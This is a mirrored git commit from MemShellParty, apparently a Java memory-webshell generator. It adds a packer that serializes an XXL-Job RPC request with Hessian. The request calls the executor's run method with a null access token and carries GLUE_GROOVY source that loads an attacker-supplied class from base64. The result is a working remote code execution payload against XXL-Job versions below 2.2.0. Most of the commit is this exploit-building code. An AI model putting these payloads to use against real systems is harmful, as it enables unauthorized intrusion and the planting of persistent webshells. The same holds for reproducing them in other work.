mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
feat: suitable for xxl-job < 2.2.0 #151
This commit is contained in:
@@ -50,6 +50,9 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
@@ -180,6 +183,8 @@ public enum Packers {
|
||||
GroovyTransformJar(new GroovyTransformJarPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
XxlJobJson(new XxlJobJsonPacker(), XxlJobPacker.class),
|
||||
XxlJobHessian(new XxlJobHessianPacker(), XxlJobPacker.class),
|
||||
;
|
||||
private final Packer instance;
|
||||
private Class<?> parentPacker = null;
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
package com.reajason.javaweb.packer.xxljob;
|
||||
|
||||
import com.caucho.hessian.io.Hessian2Output;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Util;
|
||||
import com.xxl.job.core.biz.model.TriggerParam;
|
||||
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.Base64;
|
||||
import java.util.UUID;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/07/14
|
||||
*/
|
||||
public class XxlJobHessianPacker implements Packer {
|
||||
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String source = template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
|
||||
TriggerParam triggerParam = new TriggerParam();
|
||||
triggerParam.setJobId(1);
|
||||
triggerParam.setExecutorHandler("demoJobHandler");
|
||||
triggerParam.setExecutorParams("demoJobHandler");
|
||||
triggerParam.setExecutorBlockStrategy("COVER_EARLY");
|
||||
triggerParam.setExecutorTimeout(0);
|
||||
triggerParam.setLogId(1);
|
||||
triggerParam.setLogDateTime(System.currentTimeMillis());
|
||||
triggerParam.setGlueType("GLUE_GROOVY");
|
||||
triggerParam.setGlueSource(source);
|
||||
triggerParam.setGlueUpdatetime(System.currentTimeMillis());
|
||||
triggerParam.setBroadcastIndex(0);
|
||||
triggerParam.setBroadcastTotal(0);
|
||||
|
||||
XxlRpcRequest rpcRequest = new XxlRpcRequest();
|
||||
rpcRequest.setRequestId(UUID.randomUUID().toString());
|
||||
rpcRequest.setCreateMillisTime(System.currentTimeMillis());
|
||||
rpcRequest.setAccessToken(null);
|
||||
rpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
|
||||
rpcRequest.setMethodName("run");
|
||||
rpcRequest.setParameterTypes(new Class<?>[]{TriggerParam.class});
|
||||
rpcRequest.setParameters(new Object[]{triggerParam});
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||
hessian2Output.writeObject(rpcRequest);
|
||||
hessian2Output.flush();
|
||||
return Base64.getEncoder().encodeToString(bos.toByteArray());
|
||||
}
|
||||
}
|
||||
+5
-2
@@ -1,7 +1,10 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
package com.reajason.javaweb.packer.xxljob;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Util;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.HashMap;
|
||||
@@ -11,7 +14,7 @@ import java.util.Map;
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobPacker implements Packer {
|
||||
public class XxlJobJsonPacker implements Packer {
|
||||
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
|
||||
private final ObjectMapper objectMapper = new ObjectMapper().enable(SerializationFeature.INDENT_OUTPUT);
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.packer.xxljob;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobPacker implements AggregatePacker {
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package com.xxl.job.core.biz.model;
|
||||
|
||||
import java.io.Serializable;
|
||||
|
||||
public class TriggerParam implements Serializable {
|
||||
private static final long serialVersionUID = 42L;
|
||||
|
||||
private int jobId;
|
||||
private String executorHandler;
|
||||
private String executorParams;
|
||||
private String executorBlockStrategy;
|
||||
private int executorTimeout;
|
||||
private long logId;
|
||||
private long logDateTime;
|
||||
private String glueType;
|
||||
private String glueSource;
|
||||
private long glueUpdatetime;
|
||||
private int broadcastIndex;
|
||||
private int broadcastTotal;
|
||||
|
||||
public int getJobId() { return jobId; }
|
||||
public void setJobId(int jobId) { this.jobId = jobId; }
|
||||
|
||||
public String getExecutorHandler() { return executorHandler; }
|
||||
public void setExecutorHandler(String executorHandler) { this.executorHandler = executorHandler; }
|
||||
|
||||
public String getExecutorParams() { return executorParams; }
|
||||
public void setExecutorParams(String executorParams) { this.executorParams = executorParams; }
|
||||
|
||||
public String getExecutorBlockStrategy() { return executorBlockStrategy; }
|
||||
public void setExecutorBlockStrategy(String executorBlockStrategy) { this.executorBlockStrategy = executorBlockStrategy; }
|
||||
|
||||
public int getExecutorTimeout() { return executorTimeout; }
|
||||
public void setExecutorTimeout(int executorTimeout) { this.executorTimeout = executorTimeout; }
|
||||
|
||||
public long getLogId() { return logId; }
|
||||
public void setLogId(long logId) { this.logId = logId; }
|
||||
|
||||
public long getLogDateTime() { return logDateTime; }
|
||||
public void setLogDateTime(long logDateTime) { this.logDateTime = logDateTime; }
|
||||
|
||||
public String getGlueType() { return glueType; }
|
||||
public void setGlueType(String glueType) { this.glueType = glueType; }
|
||||
|
||||
public String getGlueSource() { return glueSource; }
|
||||
public void setGlueSource(String glueSource) { this.glueSource = glueSource; }
|
||||
|
||||
public long getGlueUpdatetime() { return glueUpdatetime; }
|
||||
public void setGlueUpdatetime(long glueUpdatetime) { this.glueUpdatetime = glueUpdatetime; }
|
||||
|
||||
public int getBroadcastIndex() { return broadcastIndex; }
|
||||
public void setBroadcastIndex(int broadcastIndex) { this.broadcastIndex = broadcastIndex; }
|
||||
|
||||
public int getBroadcastTotal() { return broadcastTotal; }
|
||||
public void setBroadcastTotal(int broadcastTotal) { this.broadcastTotal = broadcastTotal; }
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.xxl.rpc.remoting.net.params;
|
||||
|
||||
import java.io.Serializable;
|
||||
|
||||
public class XxlRpcRequest implements Serializable {
|
||||
private static final long serialVersionUID = 42L;
|
||||
|
||||
private String requestId;
|
||||
private long createMillisTime;
|
||||
private String accessToken;
|
||||
|
||||
private String className;
|
||||
private String methodName;
|
||||
private Class<?>[] parameterTypes;
|
||||
private Object[] parameters;
|
||||
|
||||
public String getRequestId() { return requestId; }
|
||||
public void setRequestId(String requestId) { this.requestId = requestId; }
|
||||
|
||||
public long getCreateMillisTime() { return createMillisTime; }
|
||||
public void setCreateMillisTime(long createMillisTime) { this.createMillisTime = createMillisTime; }
|
||||
|
||||
public String getAccessToken() { return accessToken; }
|
||||
public void setAccessToken(String accessToken) { this.accessToken = accessToken; }
|
||||
|
||||
public String getClassName() { return className; }
|
||||
public void setClassName(String className) { this.className = className; }
|
||||
|
||||
public String getMethodName() { return methodName; }
|
||||
public void setMethodName(String methodName) { this.methodName = methodName; }
|
||||
|
||||
public Class<?>[] getParameterTypes() { return parameterTypes; }
|
||||
public void setParameterTypes(Class<?>[] parameterTypes) { this.parameterTypes = parameterTypes; }
|
||||
|
||||
public Object[] getParameters() { return parameters; }
|
||||
public void setParameters(Object[] parameters) { this.parameters = parameters; }
|
||||
}
|
||||
@@ -5,6 +5,7 @@ import java.util.Base64;
|
||||
|
||||
public class DemoGlueJobHandler extends IJobHandler {
|
||||
|
||||
@groovy.transform.CompileStatic
|
||||
public static class Definder extends ClassLoader {
|
||||
public Definder() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
|
||||
Reference in New Issue
Block a user